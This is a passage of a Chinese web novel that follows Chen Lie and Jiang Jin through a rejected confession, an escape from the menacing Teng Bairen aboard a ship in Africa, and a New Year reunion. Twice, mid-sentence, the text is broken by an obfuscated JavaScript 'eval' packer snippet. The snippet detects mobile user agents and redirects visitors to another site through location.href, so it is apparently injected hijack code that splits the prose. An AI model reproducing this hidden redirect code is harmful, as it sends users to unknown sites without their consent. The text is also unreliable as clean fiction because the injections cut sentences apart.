陈列蹲着不动,任她放肆,嘴里问:“你什么意思?” “陈列,我们在一起吧。”这一次她说话,温软吐息呵在他颈动脉边,那里的跃动连通心脏。 “在一起是什么意思?”陈列又问。 姜堇轻轻地叹了口气,似为他的刨根问底。 “陈列,你有办法跟其他人在一起吗?”她贴在他颈边似轻轻呢喃。 他阖着眼,胸腔起伏。 “我没有办法。”她说着又用鼻尖蹭一蹭他的颈脉,猫一般的动作似盼他心软:“很多事只和你一起经历过,我没办法用言语再向其他人解释一遍。” “我可以当你的同类、共犯、女朋友。”她说这个称呼的时候轻轻笑起来:“女朋友,我其实挺喜欢这称呼。” 她又把尖俏的下巴搁在肩窝里唤他:“嗨,男朋友。” “还有什么不够的呢?”她的语调始终轻似蛊惑:“我们会是最紧密的同盟,我们的身体也一样。你不想要我吗?” 她把脸埋在他颈窝里说:“我想要你,从十七岁开始。” 他是她的性启蒙,带着天然浓烈的荷尔蒙气息。 陈列忽地站起来,将挂在背后的她一把打横抱起。 姜堇下意识想惊呼,却把已到唇边的一声咽了回去。 陈列神色沉沉,看上去想将她一把丢到行军床上,最后一刻,却只是将她放到床畔坐定。 尔后自己退开两大步。 “这就是你思考的结果?”他问。 她仰起巴掌大的面孔看他,仍是轻轻唤他的名字:“陈列。” 她好像从来擅长拿捏他软肋。 譬如他说,他其实是个好人,总会为女人心软。 可这时他隔开两步看她:“回答,这是不是你思考的结果?” “陈列。”她的语气轻柔:“除了爱你,什么都可以,一切都可以。” 陈列深吸一口气,阖了阖眼,张开眼的时候点着头。 “好,我知道了。”他重复点头的动作有那么一点点神经质:“我知道了。” 说完转身出了帐篷。 “哎列哥……”刚好组里有人来找他,被他掀开的帐帘糊了满脸。 陈列大跨步地向夕阳走去。 她的确了解他,他看着凶而颓,其实是个心软的人。 可她也不够了解他,他只会为她一个人格外心软,也只会为她一个人格外心硬。 如果她不能爱他的话,那他就一切都不要了。 69. 密码 「I miss 陈列的队伍不日将离开草原,姜堇所在的医疗队继续驻扎。 陈列身边的大小伙子们八卦地问:“你追到大美女了没啊?” “没有。”陈列打着自己的包袱。 “我靠。”男人们团团围上来,有人趁机捏一把陈列的胸肌:“你这脸,这腰,这肌肉,还能有女人不心动的?” 那人表情逐渐狐疑起来:“列哥你不会是表面看着厉害,其实吃了鸡胸肉和西兰花根本不行吧?” 陈列一胳膊肘捅在那人小腹上:“不许议论她。” 那人懵了:他也没议论呐? 离开的那天,当地村民和医疗队纷纷来送行。 姜堇只是远远站着,身形纤窈。 “哟这不还是来送你了吗?”有人给陈列出馊主意:“这样,你多跟小丁说几句话,激发激发美女的占有欲……” 陈列只是沉默。 行李装车完毕,姜堇没想到,陈列会主动向他走来。 姜堇微笑:“他们刚才撺掇你什么?看你们在那边闹。” 陈列先是摇一下头,方道:“他们让我跟小丁说话,气你。” 姜堇:“你不是那种人。” 陈列缄默数秒:“我也不是你想的那种好人,我只是知道你不会生气而已。” 姜堇不说话了。 “我们好像从没有一次好好说过再见。”陈列说。 姜堇望着他漆黑如墨的双瞳。 “那,再见。”陈列说完转身往吉普车走去。 “陈列。”姜堇叫住他。 中文真是博大精深。 配以不同语气,当一个人说着“再见”的时候,你明明知道他是在说“再也不见”。 姜堇走过去,从口袋里掏出七十块钱递他:“还你。” 陈列垂眸看了眼,摇头:“不用。我们现在都知道,快乐不是七十块能买到的。” “你给过我七十块钱,我给过你七秒。它们都没有奏效,我们现在两清。” 他说完便走,山地靴踩着并不厚实的草地,扬起一地尘土。 他登车时身形被他人遮挡,姜堇只看见他拉住车顶扶手的一只臂膀,黑T下露出紧实的手臂。 旁边有女同事问姜堇:“他刚才跟你说什么?你俩成没成啊?” 姜堇没说话。 直到吉普车队启程,扬起漫天的尘。 她收回视线,笑望着身边女同事:“没有啊。” “啊为什么?” “这很难讲。”姜堇轻拽一下同事胳膊:“走了工作去了。” 人的感官真奇怪。 有时双眼会快进,有时脑内会倒带。 姜堇随同事往医疗帐篷走着,脑内回放着方才吉普车队离开的一幕。 莫名怼了个微焦镜头上去似的,她看不清陈列,却能看见摇摆的草甸、扬起的尘。 心里有悄无声息地垮塌了一片吗? 姜堇想,其实是有的,连接她十七岁青春的那一片。 但,这又有什么所谓呢? 姜堇只是面无表情地,投入到当天的工作中。 事后她再没提起过陈列,只是某天夜里稍有闲暇,她倚在草垛边看天。同事朝她走过去:“干什么呢Lilac?” 姜堇指一指头顶的天。 “呵。”同事仰头慨叹:“星星和芒果,在这里都不值钱了,铺天盖地的。” 姜堇只是说了句:“有段时间我住在一条破船上,那里从来看不到星星。” 如是而已。 - 陈列只有一次想起过姜堇。 有次他们驻扎的营地物资丰富,亚洲同事们围成一堆煮面吃。韩国同事要放甜辣酱,中国同事要放辣椒油,最后妥协的结果是什么都不放,煮一大锅清汤面,加大量的黄瓜和火腿肠。 调味只加在自己碗里,爱加什么加什么。 陈列那天忙得昏天黑地,跟程序搏斗了一下午只觉头晕。从锅里捞了一大碗面,在桌边坐下时仍蹙眉想刚才的bug,手里机械化地挑一筷面塞进嘴。 然后眨巴了下眼,眉蹙得更深。 同事好笑地用筷头敲他手背:“要自己加调味啊,列哥你忘了?” 陈列便是在那一刻想起姜堇的。 他给姜堇煮面的很多时间,都是姜堇生病。他会刻意地调味清淡,当然这也跟他手艺本就一般脱不开关系。姜堇嗜辣,总抱怨没味,却又小兽一般把整碗吃个干干净净。 陈列想,他跟姜堇好好说过再见了,曾经很放不下的七十块钱,他也决定放下了。 可是他还是忘了跟姜堇说一句: 以后好好吃饭。 其余时间,陈列刻意让自己再不想起姜堇。他们去的地方大多偏僻,要坐很久的吉普或是坐船。他喜欢站在甲板上看海看河,看清澈或浑浊的波涛翻涌在自己脚下。 爱也好恨也好,也许真像姜堇说的那样,没什么所谓,逝去如斯。 很多时候陈列失去了时间概念,蓝紫色的星空接着橘粉色的朝阳。当他猛然意识到日历已走到九月时,发现姜堇的生日已过去很久了。 他竟忘了这一天。 他沉默站在甲板,那时非洲已是冬末,傍晚甲板的风透着微凉。 同事叫陈列:“列哥,不冷啊?回船舱去。” 陈列回头打了个招呼:“你们先进去吧。” 或许就会是这样吧。 他盯着海面翻涌起白色泡沫,他会这样渐渐忘记姜堇。 直到身边有人用英语惊呼起来:“看啊!那是海豚吗?” “这季节能看到海豚?奇迹哎!” 最近出于天气原因,很多游客的客轮停运,一些国际组织的邮轮开始协助转运游客。因此船上除了陈列的熟面孔,另多了些游客,看到海中奇景分外兴奋。 回头唤同伴:“快来!这里有海豚!” 陈列下意识跟着回了下头。 船舱里牵着孩童手走出来的一人,有着典型的东方面孔,五官清冷,可潋滟的眼波透着些媚。 陈列一愣,下意识的反应竟是挑唇而笑——自嘲的。 奇迹——大约是九月末能看到海豚的概率,以及他在过分广袤的非洲能再次邂逅姜堇的概率。 “听说看见海豚是幸运的象征,你的病就能全好了。”姜堇牵着孩童的手低语,并没看见陈列。看样子,她是被组织派来护送重病患儿转移到医院。 陈列脸上自嘲地笑意未褪——看样子,奇迹是某些人的劫后余生。 是另一些人的万劫不复。 他怎么会以为自己忘了姜堇呢?看到姜堇面孔的那一刻,他发现自己错得离谱,他只是把姜堇锁进一只回忆的抽屉,压上很多的书籍和便笺,压上秋天的落叶和春日的灰尘。 他知道自己再不会去碰一碰那抽屉,当岁月的灰尘足够厚时,便可诓骗自己忘了。 她一出现,他处心积虑攒下的灰像被砸下一记重拳,四下溅落。 封存她的抽屉露出来,把手在突突地跳动。 他这才意识到那是自己的一颗心,拉动抽屉的把手是心脏周围的血管,一涉及她,便是危及生命的伤筋动骨。 只是这时—— “嗑哒”。 陈列的耳廓动了动。 那是极细微的一声,穿越人群和海浪声传来,如若不是陈列经受过专业保镖训练,决计注意不到。 他在记忆里翻找:为何他的神经会对这声响如此敏感? 想起来了。 他箭步跨至姜堇面前,姜堇吓了一跳,但反应极快,看向他时神色已恢复镇定:“陈列。” 她觉得她该用这样的神色面对他。 他来不及顾这些细微情绪:“把孩子交给你同事,跟我走。” 姜堇问也没问一句,抱起孩子转身往后跑。 陈列跟在她身后,在她把孩子交给同事的一瞬,扯过她的手腕猛跑起来。 滕柏仁的轮椅就在身后,电动轮辙的声响若冰冷蛇形,嘶嘶,嘶嘶。 陈列怀疑他看到姜堇了。 若说世界上有谁听到姜堇的名字、会比姜堇自己更先抬头的话,一个是他,另一个就是滕柏仁。 方才“嗑哒”一声细响是滕柏仁扯动手杖的声音。他随身携带的那根银杖,曾伸到姜堇的肩头,如他潮湿又冰凉的手指,无限暧昧地理着姜堇衣领。 滕氏生意的确涉足各个大洲,若非极端天气作祟,私人飞机和豪华客轮停运,他的轨迹永不会再和姜堇有交集。 可甲板的空间就这么大。 滕柏仁的轮椅声在一点点迫近。 想从楼梯下楼已来不及了。 陈列攥着姜堇跑到甲板边:“摘掉身上所有的尖锐物品。” 姜堇立刻除去手表和当地人送她的护身符。 陈列低喝一声:“跳。” 姜堇几乎是毫不犹豫闭眼跳了下去,哪怕陈列的指令实在匪夷所思——他要她跳往的方向,是漫无边际的茫茫大海。 陈列在身旁拥住了她,将她的头护进自己怀里。 一瞬间,姜堇闻到陈列身上熟悉的味道。他直至现在还习惯性倒多洗衣液,皮肤灼热的气息钻透温暖传出来。 姜堇攥住陈列的卫衣领口,陈列垫在她身下,两人噗一声跌落在船舷所悬的救生艇上。 此时甲板。 “诶——”一个长发的东亚面孔女孩惊呼一声,骂人的声音是韩语,回头见攥住自己头发的,是张过分俊朗的面孔,只是苍白瘦削得过分,双颊深深凹陷下去。 滕柏仁重重甩开女人的头发。 龚哲立即上前道歉,并交由助理处理后续事宜。 他匆忙跟上滕柏仁掉头离去的轮椅。自打给姜堇办完那场葬礼后,滕柏仁脾性愈发古怪,目前滕氏下一任家主之位悬而未决,他愈发乖戾起来。 竟丝毫不顾及公共场合的礼仪。 龚哲心里很清楚他把方才的女人当作是谁,闭口缄默,不去触他霉头。 直到他自己开口:“我还当是她。” “滕少。”龚哲这样唤他一声。但龚哲和陈列同样寡言,也不知如何说下去。 滕柏仁自己操控轮椅来到甲板边缘:“知道我为什么让她归于大海吗?” “海能流向地球的每一个角落,蒸发为雨,幻化成风。”滕柏仁对着甲板外伸出苍白羸弱的手,似要攫取一缕风。 他细长的手指在空中轻轻摆荡着:“她不在了,可她又无处不在,连这飘舞的浮尘都是她。” “我说过,我要她碎成一片片的心。” 他轻轻地哼唱起来:“Littlepoppy,sweetpoppy……” 龚哲端立于他身后,只觉毛骨悚然。 救生艇上,姜堇伏在陈列胸口,唯恐有任何动静回传至甲板,不敢有一丝动作。 陈列保持着方才护住她的姿势,一手揽住她后脑,一手贴着她后腰,两人身体紧贴在一起,能听见她有力的心跳砸向他胸膛,咚咚,咚咚。 他想:她从头到尾都没问他一句。 纵使是万丈深渊或浩渺大海,他一声“跳”,她也能毫不犹豫跳下去。 她如此信赖他。 她只是不爱他。 - 直至滕柏仁的轮椅声消失,陈列攀着缆绳回到舱内,又将姜堇拉进去。 姜堇匆匆联系她的同事,找了个由头,和陈列一同避进舱底船员的房间。 冬末海面,入了夜气温陡降,舱底虽不透风,依然感觉冰冷。 换班的船员睡在钢架焊成的高低床,鼾声如雷。只有姜堇和陈列两个“借宿者”,没有床,围坐在一张方桌边。 陈列脱下自己外套,朝姜堇扔过去。 姜堇从他的棒球外套间钻出来,伸手拂一把自己被蹭得毛茸茸的头发,将陈列的外套披在身上。 她微笑得很轻。 陈列瞥她一眼。她指指船舱,用气声说:“跟我们住过的破船很像。” 陈列环视舱内。 的确,船舱内都有一样逼仄的气息,舱顶低矮,各种零件因陈旧而生锈,些微的铁锈味混着水腥气传来。坐在这样的地方,人会不自觉勾着脖子,说不上是冷是闷,一切感官都失灵。 桌面上散乱放着船员们闲时打牌的扑克,一盒口香糖,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736790|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本《花花公子》杂志,封面女郎穿毛茸茸兔尾装露出饱满胸脯,扯着个男人领带高跟鞋踏在男人胸上,那男人也是半裸。 陈列跟着她瞥一眼,把杂志翻过去背面朝上放着。 想不到背面更暴露,一男一女贴在一起的姿态几近香艳。 陈列:…… 姜堇蜷着食指抵住唇角,笑得无声。 桌面再有的就是一本《摩斯电码》,也是船员无聊打发时间用的。 姜堇拿起随手翻了两页。 白皙手指蜷起指节,在桌面无声敲击数下。 陈列垂眸看着。 他做保镖,自然学习过摩斯电码,是以清晰判断出她所敲字符—— I。 M。 H…… 一句英文:I’mhungry。 任何语言体系都有自己的博大精深之处。譬如英文,这句话既可翻译成“我很饥饿”,亦可翻译成“我野心勃勃”。 陈列想起十八岁时的姜堇,她的确永远显得饥饿,吃得再多也那样瘦,大口吞咽的姿态像小兽。 他伸手在口袋里摸索一翻,摸出一块能量巧克力,推至桌面。 姜堇笑了笑,指尖拨弄开一角,忽地手腕一转,指节继续于桌面轻敲: I M I…… 仍是一个短句:Imissyou。 她想表达的意思,是“我想念你”,还是“我错过你”。 整间舱室只有桌面燃一盏小夜灯,陈列于一片昏茫中伸手,在她刚才敲击之处一抹。抬起手来顿滞在半空,才发现自己这动作显得可笑—— 她又没写出有形的字句来,他想抹去的是什么呢? 就这样枯坐整夜。 船舱摇摇晃晃,陈列靠着身后船壁阖上眼。姜堇气声问:“你睡了吗?” 陈列摇摇头。 只是想起以前在那条破船里,姜堇俯在矮桌上写卷子,一边逼他背文史地的知识点。有时他懒,脑子转得太快,总觉得记个囫囵就作罢,阖上眼靠住船舱壁,相较于河面的水腥气,老木头的香气算是很好闻。 姜堇埋头写卷子的笔记声似落雨,沙沙沙,沙沙沙,听得人心里安宁起来,有那么一瞬间忘了紧随身后追债的人。听到后来,船舱外真的落下雨来,落在结飘萍的河面。 也是那样的声音,沙沙沙,沙沙沙。 船身摇摇晃晃,好像并没有被一条缆绳所束,而是在一条星河上漂流,所有头顶看不清的星星其实都藏在水底,闪亮的,将他们托往永远倒不了的远方。 那样一段旅程,就好像永远没有尽头。 陈列就那样阖着眼不知多久,直至姜堇在身旁轻轻地道:“可以出去了。” 她收到同事微信,滕柏仁一行下船去了。 “嗯。”陈列这样应了声,并没有张开眼来。 “陈列?” 陈列在心里默数了三个数:一,二,三。 深吸一口气,又继续在心里数:四,五,六,七。 他张开眼来,神色淡漠如常:“走吧。” 两人来到甲板,天色将明,整条船还在安然沉睡。姜堇将外套递还给陈列,陈列摇摇头:“披着吧。” 姜堇也没多说什么,俯身,两只纤细手臂架在围栏上。一处风景有一处的绝美,破船舱是日落,草原是星空,到了海面变作朝阳。 姜堇指指远方:“看,多像一团火。” 海面的朝阳不是渐变色,而是像把一粒橘红的火种都进去,半片天幕就燃了起来。从微暗到光亮不过瞬息之间,刺得人本能眯起眼来,眼底一片酸涩。 原来那样的绝美,带给人本能的感觉是酸涩。 姜堇伸手进自己口袋:“我是不是气色很差?” 她摸出一支口红来旋开,不涂,只在唇中央轻轻一点,天边的火种就被引到她唇上来,让她整张脸都添了光亮,变作一片瑰丽。 陈列望着她侧颜,忽然问:“我对你来说算什么?” 姜堇笑道:“是我永远不会真正注意的存在。” 陈列心下一梗,自嘲地挑起唇角。 少年时无谓潇洒,只是对什么都摆出无谓态度来,刀山火海地也就那样过了。反而到了二十七八的年纪,迟来的黏腻起来,知道自己该转身走开,还是不死心地追问。 或许他早料到这样的答案。 饮鸩止渴,让自己痛得更透彻而已。 他不再说话了,双手插进口袋,离姜堇半人开的距离站着。海风拂过来,姜堇一头浓密的长发仍是茉莉味,香气飘散进陈列眼底。 陈列没合眼,只是望着远方的朝阳,需要灼烧得甚至不是她的样貌,只是她飘来的一阵香。 多么可悲。 甲板开始有了零星脚步声。一个年轻男人露出头来喊:“列哥,你在这啊?我们该下船……” 陈列应一声:“来了。” 转身往船舱走去。 年轻男人刚分到陈列他们组,以前没见过姜堇,朝阳里一个侧影足够惊艳他年轻的岁月。他嘴张成O型问陈列:“卧槽那大美女是谁?你女朋友啊?” 陈列不答,只是拽着他兜帽拎他转身。 一组人陆续下船,陈列站在码头,回头去看—— 既然数三下也准备不好别离。 既然数七下也准备不好别离。 那么允许自己回一次头又如何呢?陈列这人从不相信好运,摊上这么一赌鬼爹,他觉得自己挺倒霉的。可如果他有什么储存起来的好运,他情愿把这些运气全用在此生再不与姜堇相遇。 姜堇仍那样伏在围栏上,望着远方朝阳,好像陈列是去是留,她的确没任何留意。 只是伸出一只手,手指微微张开,海风从她指间刮过。 陈列知道她从前就喜欢这样。 无论是坐公交的时候、在船舱的时候,她都喜欢这样伸出一只手来,好似要抓住一缕风。 她这样的野心家,连风都想握牢。 也有组员没注意到姜堇的,回身唤陈列:“列哥看什么呢?还不走?” 陈列收回视线,随队伍往码头走去。 70. 归来 三个月后,陈列用探亲假回了一趟江城。 他坐在路边一个咖啡馆。江城素来阴寒,冬日里难得出一次太阳,便似攒足了一冬的劲,猛烈得刺人眼睛。 陈列鼻梁上架一副太阳镜,穿黑色短款夹克,露出平直锁骨。他真不怕冷,咖啡馆的姑娘们偷偷看他,看他锋利的下颌线,看他饱满的胸膛。 他沉默时抿紧的唇角显得严肃,并无人上前与他搭话。 直至对面高楼一辆库里南开出来。 车窗大开着,露出里面苍白瘦削的一张脸。三个月功夫,滕柏仁瘦得更厉害了,好似受到极大精神困扰,咖啡直接掀翻在对面助理脸上。 车在路边急刹,穿套装的女助理下车来,衬衫领口是难看咖啡渍。 库里南遥遥开走,溅起的扬尘拂她一身。 陈列站起来,手里攥两张咖啡馆纸巾,在马路边等了两秒红灯,却又打消过去给她递纸巾的念头。 罢了,反正他从不是什么热心的人,何必冒暴露自己的风险。 顶着探亲假的名头,陈列却无亲可探。先是去看了汪露姗的母亲,接着乘公交去了闹市一个小区。 摁电梯,上楼。 保姆阿姨来开门时,瞧见俊朗一张面孔,意外道:“你找谁?” “白柳絮阿姨。”陈列道:“我是姜堇的……” 话到这里说不下去了。朋友?熟人? 他们的关系除了“共犯”二字,由来难以定义。 他换了个说法:“我是陈列。” “你等等哦。”保姆阿姨仍是一脸狐疑,掩上防盗门给姜堇打电话:“喂,姜堇,有一个叫……”又把门推开一条缝:“你叫什么来着?” “陈列。” “耳东陈?列呢,哪个列?”保姆看起来是一板一眼的性格,也是,姜堇远在国外,一定会雇这样一个较真的人看顾她母亲。 陈列刚要回答,姜堇的声音从遥远另一端传来。 因保姆用隔音不好的老人机,所以陈列听得很清楚。姜堇轻轻地说:“陈列的列,置放一件静物的那个陈列。” “哦,你认识的呀?”保姆阿姨又掩上防盗门,于是姜堇在电话里说了些什么,陈列听不清了。 他只是站在防盗门外,过分老派地拎着一兜苹果。 保姆阿姨再次推开门时,发现他抬头望着楼道里的灯。 目光平视下来问:“这灯怎么不亮?” “坏了,也不知是不是楼道里线路有问题,上次姜堇回来修过一次,这才没多久呢,又坏了。” 陈列:“我修吧。” “别别,你是客人。” 陈列只说:“不妨事。” 他进屋借了梯子,拿了只全新灯泡,拧上去光线亮起,他下意识抬手挡了一下眼。 保姆出来时,看他跨在梯子上:“怎么,修好了为什么不下来?” 陈列两步跃下梯子来,又轻松把梯子扛了回去。 保姆阿姨连声道谢:“家里还是有个男人的好。不对,话也不好这么说,姜堇也是蛮能干的,上次灯泡也是她自己换的……” 陈列去房间看白柳絮。 白柳絮抬眸见是他:“陈列,你来喂我吃晚饭了?” 也许白柳絮脑中时空是混乱的。她说这话的语气,好像他们还住在江城的医院里,陈列是看护他的那个人,从来没有离开过。 白柳絮喜欢吃软乎乎的鸡蛋拌饭,陈列一口一口喂他。 白柳絮神神秘秘问:“你上次说你找到阿堇了?” “嗯。”陈列说:“她很想你。” “那她怎么不来看我呢?” 陈列笑了笑,拿纸巾揩净白柳絮的唇角。 姜堇与她母亲好像科幻故事里的两个人,隔着时空互相想念,但永远不会再相见。 喂白柳絮吃完饭,陈列起身告辞。 昼夜交叠的时分,总让人心中产生某种荒唐感。陈列双手插兜走在熙来攘往的街头,其他人都觉得三两天的探亲假不够用,他却已无处可去。 随意登上一辆公交车,绕着城市兜了两圈后,司机终于注意到他:“哎,你去哪啊?” 陈列说:“不知道。” 他只是一圈圈地坐着,一眼眼看着这城市,每坐一圈就买一张票。 一个大包小包的阿姨上车,来不及往后走,一屁股坐到他旁边,拿手给自己扇着风:“哎哟这车里怎么这么闷,小伙子你开点窗好吧?” 这时间车里也没其他人,陈列拉开一线窗。 风从窗外灌进来。回忆像耳光,劈头盖脸来的总是猝不及防。 陈列在一片夜色里想起姜堇,第一次学她模样,将一手指尖探出车窗去。 原来风从指间刮过是这样的触感。 陈列嘲讽笑笑——人怎么可能抓住风呢? 他不经意回头,眼尾望见车厢的另一侧,坐在他身旁那阿姨的影子,被昏黄路灯拖拽,挂在他的指尖上。 他动一动手,抓住的是风,也是一个人的影子。 陈列猛然缩回手去。 两天后,他返回非洲,留一天绕路去姜堇所在的营地。 疟疾在国际救助队长期不懈努力下,已得到有效控制,医疗压力缓解许多。姜堇在营地带孩童排演话剧,布景是纸壳画成的简易,但孩子们双瞳里有异样神采。 姜堇盘腿坐在并不存在的舞台侧边,随他们大笑鼓掌,素颜无妆,两颊小小雀斑在阳光下跳跃。 陈列走过去在她身后坐下,她转过头来冲陈列笑笑,马尾在瘦削脊背轻轻扫过,又转回去看舞台。 陈列盯着她瘦削背脊,略微起球的T恤,和不知何时落下的一根长发。 陈列伸出手想替她摘掉,在半空悬了一会儿,看她背影因大笑晃动,那根头发也随之轻颤,生动得那样鲜活。 在陈列十八岁趋于麻木的人生里,唯有她野蛮而有生命力,生动得那样鲜活。 陈列收回手,并没摘掉那根长发。 他听了一会儿,才厘清这出小小话剧在讲一个什么故事。 讲的是“偷影子的怪物”。如若小孩在睡梦中不慎被怪物偷走影子,第二天醒来,他就不记得是谁了。 直至话剧演完,姜堇站起来问陈列:“吃饭了吗?” “来的路上吃过了。”陈列问:“走走?” “行。”姜堇捋一把自己马尾。 两人顺着草原漫步,又一个夏天将要来临,草木蕃庑,空气里是带暖意的香。 姜堇勾腰摘一根长草,似国内的狗尾巴草,在指间轻轻捻着,问陈列:“尝过么?” 陈列摇头。 “你这样吸一吸,能吸出乳白色的汁液,很甜。”姜堇隔空做了个吸的动作,又将长草递给陈列:“当地孩子告诉我的。试试?” 陈列接过吸一口,果然有汁水淌至舌尖,甜得发腻。 一转头见姜堇幽幽盯着他。 陈列:“?” 姜堇:“我还没说完你急什么?但有百分之十的概率中毒,口舌麻痹三天尝不出味道,还敢试么?” 陈列:…… 他舌尖在齿内刮过。姜堇大笑出声:“诓你的,你还真信呐?” 她勾腰随意在草地里又采一根,塞进自己嘴里,吮吸的姿态有种野性的好看。 “陈列。”她吮着那根草说:“你这样来了又走、走了又来,我觉得,你在跟我赌气。” “嗯。”陈列点头。 “你跟我较什么劲呢?”姜堇轻轻道:“你看过我妈那样子,我永远不可能让自己变蠢。” “我知道。” 两人走了一阵,陈列再度开口:“你上次说,我是你永远不会真正注意的存在。” “嗯。” “像影子那样?” 姜堇微笑:“是,你像影子。沉默,无聊,不会说话,有时候我觉得你黏得太紧很烦,为什么不让我利用完就甩掉你。可是陈列,当我在滕柏仁身边的时候,我居然真的想起过你,所以遇到你之后,我费了心思让你当我的保镖。” “想起我什么?” “想起你什么啊……”姜堇扬扬唇:“无论一个人再怎么变,影子却是不变的。影子映在地上,像一个人甩不脱的过往,也像一个人真正存在的证明。” “谁会注意自己的影子呢?”姜堇说:“也许只有当她都快忘了自己是谁的时候,她会回头看一眼自己的影子。” “陈列,我好像永远在变,从姜堇、到姜雪照、再到Lilac。你好像永远不变,永远都是陈列。我有时候烦你,有时候需要你,就像需要一个影子。” 陈列点点头:“好。” “好什么?”姜堇睨陈列一眼。 陈列缓缓吐出一口气来,又深深吸一口屏住。 他在心中默数:一,二,三。 又继续默数:四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742092|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,五,六,七。 三和七都是中国文化里命定的数字,如果数到三又数到七、悬在唇边那句话还没退却的话。 他呼出方才屏住的那口气,将唇边的那句话带出来:“我当你的影子。” “你这样的人永远不会把爱、把一个男人当作你的信仰对吗?那好,我认输,”陈列说到这里挑了挑唇角,模样有种放任一切的痞气:“我来当你的影子,把你当成我的影子。” 姜堇先前说得对,他是在赌气。他希望姜堇像一个女人那样爱他,把他当男人一样仰望。 从十七岁开始,认命的是他。 到二十七岁为止,认输的还是他。 他来当她的影子,供奉她如一桩信仰。 他跟姜堇说:“我得走了,你自己考虑清楚。” 他当真向方才剧演的草地走去,拎起自己的行李袋,不拖沓,不纠缠。 “哎。”姜堇在他身后背手站着,嘴里咬着方才那根长草:“有时效么?” 陈列将行李袋痞痞搭在肩头,一手插兜,站着的姿态还和十七岁一样、后颈微微曲着。 “我很想说有。”他在夜色里回头,山地靴在草地里轻蹭了两蹭,又像将什么踩实似的踏了踏:“但是没有。阿堇,没有时效。” - 陈列回到了自己的营地。 起先他会偶尔看一看自己的手机,看有没有那个他从未储存的号码来电。后来他就不看了,只是偶尔帮着劈柴,把外套放在一边的草垛上,内袋里滋地一声闷响,像人的错觉。 他干完了手里的活,齿间咬着白手套摘下,去摸外套里的手机。 一条信息是十五分钟前发来的,姜堇没发任何文字,只拍一张她那边的夕阳,橘色是挂满枝头的帷帐,乌鸦是歇在火中的诗人。 陈列举起手机拍一张自己这边的夕阳,给姜堇发过去,也不说一个字。 等待得太久的人,是会忘了自己在等的。 陈列又一次回国已是春节。今年过年晚,二月末已有了春暖花开的迹象。他在年二十八去看汪露姗的母亲,买了些年货,又送去一笔医药费。 汪露姗送他出去,竟又遇到当年烤红薯的小摊。 汪露姗笑问:“买一个?” 陈列点头:“行啊。” 汪露姗分了半只烤红薯给他,在他塞进嘴里时,猝不及防问:“你还在等她?” 陈列喉咙里噎一下,竟有一瞬茫然愣神。 然后想起来——哦,原来他是在等她。 等到后来,变成和吃饭喝水一样自然的事,和他站在街头啃半只烤红薯一样自然的事。 他咽下那一口,回答汪露姗:“也是,也不是。” 当等待成为血脉里的一种习惯,还能称其为刻意的等待吗? 大年三十,陈列去看白柳絮。 去厨房里帮了一阵忙,保姆阿姨看不上他手艺,把他赶到客厅里嗑瓜子去。 瓜子是白柳絮在嗑,陈列不喜欢。白柳絮洒了一地瓜子皮,陈列拿扫帚扫了,电视里春晚没什么意思,陈列想起什么,打开防盗门去楼道里看了眼。 那灯果然又坏了。 陈列回屋扛了梯子,两步跨上去,把手里的新灯泡拧上去。公区电路许是真的有些问题,灯丝闪跳两下,灯泡发出啪地一声后才倏然亮了。 陈列往后微一仰、习惯性眯眼时,听到电梯间有脚步声传来。 陈列望过去。 姜堇拖着只行李箱,站在那里。草原上剪头发不方便,她一头乌浓的发更长了,好似又没找着皮筋,斜斜编了根麻花辫,发尾塞进大大的围巾里。 她穿一件大大的工装羽绒服,扣着顶蓝绿色的鸭舌帽,摘下帽檐来拎在手里,头发大约刚在飞机上睡觉蹭得有些乱。 十数小时的飞机让人小腿肿胀,她是踢了踢自己的腿,才抬眸看着陈列微笑:“嗨,影子先生。” 刚换的灯泡亮得过分,像那日在甲板看过的夕阳刺进陈列眼底。 陈列跨在梯子上,忽然觉得双唇被灯泡烤得发干。 他张了张嘴,又闭上,再度张开的时候吐出一个字来:“嗨。” 他在明亮的光线中突然发现,她的头发上竟还带着非洲草原上的一根草,也不知怎地十几小时都没蹭掉。 陈列忽地低头抿住唇角。 此时的非洲正值春末。时间的荒原就此归拢,变成她发间的一抹盎然。 71. “新年好。” 陈列只是很轻松地从梯子跨下来。他腿长,最后两阶一跃而下,又似豹,落地时悄无声响。 把梯子扛在肩上往屋里走时,没看姜堇地往屋里走:“回来了。” “嗯。”姜堇拖着行李箱跟在他身后。 他回过身来,高大健硕的身材扛把梯子犹有余裕,伸手来拖姜堇的箱子。 姜堇也没说什么,把箱子交到他手里。 两人的手指一瞬挨近,但并未相触。姜堇低眸去看,陈列的食指上有一小块淡淡的疤,像绳索磨擦后形成的。 保姆阿姨推开门来:“陈列,你修好……”看到姜堇一怔:“姜堇,你回来啦?” “是。”姜堇笑言:“刚好能请到假。” “啊呀。”保姆阿姨搓着手:“可太好了,快进来,白姐该高兴坏了。” 保姆自家不剩什么亲人,过年也留下来照顾白柳絮。人上了年纪,总盼着春节热热闹闹地过。 白柳絮在客厅里剥橘子,陈列刚买来的。 她抬眸去看:“陈列的女朋友,你也来了。” 姜堇扬扬唇。 “陈列,你买来的橘子可甜,你也吃。”白柳絮拈起一个塞进陈列掌心。 她是当真喜欢陈列。姜堇有时候想,她内心也许永远惦着她状态最不好的那段时间、是陈列在医院里陪护她,有时她因药物副作用拉了满床,是陈列一声不吭地替她收拾去洗。 